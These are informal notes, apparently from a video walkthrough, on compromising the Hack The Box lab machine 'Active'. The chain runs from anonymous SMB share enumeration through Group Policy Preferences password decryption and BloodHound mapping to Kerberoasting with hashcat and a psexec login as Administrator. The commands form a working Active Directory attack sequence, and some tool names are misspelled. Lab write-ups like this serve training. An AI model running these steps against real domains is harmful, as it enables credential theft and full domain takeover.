Win: Active

active directory server
smb anonymous login
group policy script --> has a group.xml file --> windows's old way to handle local accounts group policies
not since 2012

nmap analysis

when u see kerberos(88) --> look for ldap(389)
dns + kerberos + ldap --> assume u are in an active directory box

port 445 : microsoft-ds --> smb

poking at the dns server:

1. first try

nslookup
> server 10.10.10.100
> 127.0.0.1 (who is the localhost)
> 10.10.10.100 (who is this)
got timeout

2. dnsrecon

dnsrecon -d <domain(ip)> -r <range>
dnsrecond -d 10.10.10.100 -r 10.0.0.0/8

poking at smb for open shares :

to get nmap smb scripts :
locate -r '\.nse$' | xargs grep categories | grep 'default\|version' | grep smb
locate -r '\.nse$' | xargs grep categories | grep 'default\|version\|safe' | grep smb

nmap --scripts safe -p 445 10.10.10.100
nmap --scripts safe -p 445 10.10.10.100 -d (-->for debug if fails)
(turns out it only supports v1)

smbclient -L //10.10.10.100
to connect
smbclient //10.10.10.100/Users

enum4linux 10.10.10.100 (ippsec says he feels it hasnt been updated)

smbmap -H <host> (this is more preferred)
smbmap -H 10.10.10.100

smbmap -R <directory> -H <host>
smbmap -R Replication -H 10.10.10.100

he found Group.xml file --> where local file accounts data are stored (before 2012)
now Microsoft uses laps for local account policies

smbmap -R Replication -H 10.10.10.100 -A Groups.xml -q (quite)

find the file downloaded in /usr/share/smbmap

get encrypted password from the file
apt search gpp-decrypt
gpp-decrypt <hashed password>

downloading every file
smbclient //10.10.10.100/Replication
> recurse ON
> prompt OFF
> mget *

Download impact from github
Getting all user :
GetADusers.py -all -dc-ip 10.10.10.100 active.htb/svc_tgs
pass cracked password

See if we are admin on the box
psexec.py active.htb/svc-tgs@10.10.10.100
if (not writable then no)

smbmap with user credentials --> which share we have access to
smbmap -d active.htb -u svc_tgs -p <password> -H 10.10.10.100

smbmap -d active.htb -u svc_tgs -p <password> -H 10.10.10.100 -R Users
get user.txt

bloodhound

from a windows machine
download openvpn --> connect to htb

net user
--> shows all user

cmd
runas /netonly /user:7abazlam
--> creates a session, doesnot validate user against localbox (always accepts it) even of user doesnot exist

runas /netonly /user:acrive.htb/svc-tgs cmd

in new cmd

dir \\10.10.10.100\Users --> check u got a ticket

back to kali machine
download bloodhound --> opt
he set it up in reel
cd Ingestors
copy the files to the windows machine

now on cmd go to the bloodhound directory
powershell
Test-NetConnection -ComputernName 10.10.10.100 -Port 389 -->(Ldap)
set dns server to the machine

.\SharpHound.exe -c all -d active.htb --domaincontroller 10.10.10.100

copy the downloaded to the kali

neo4j start
run bloundhound
drag and drop the file to bloodhound

ShortestPath from kerberos users
user administrator is kerberostable

terminal :
GetUsersSPns.py -request -dc-ip 10.10.10.100 active.htb/svc_tgs
copy hash to file

hashcat -m 13100 file rockyou.txt

psexec.py active.htb/Administrator@10.10.10.100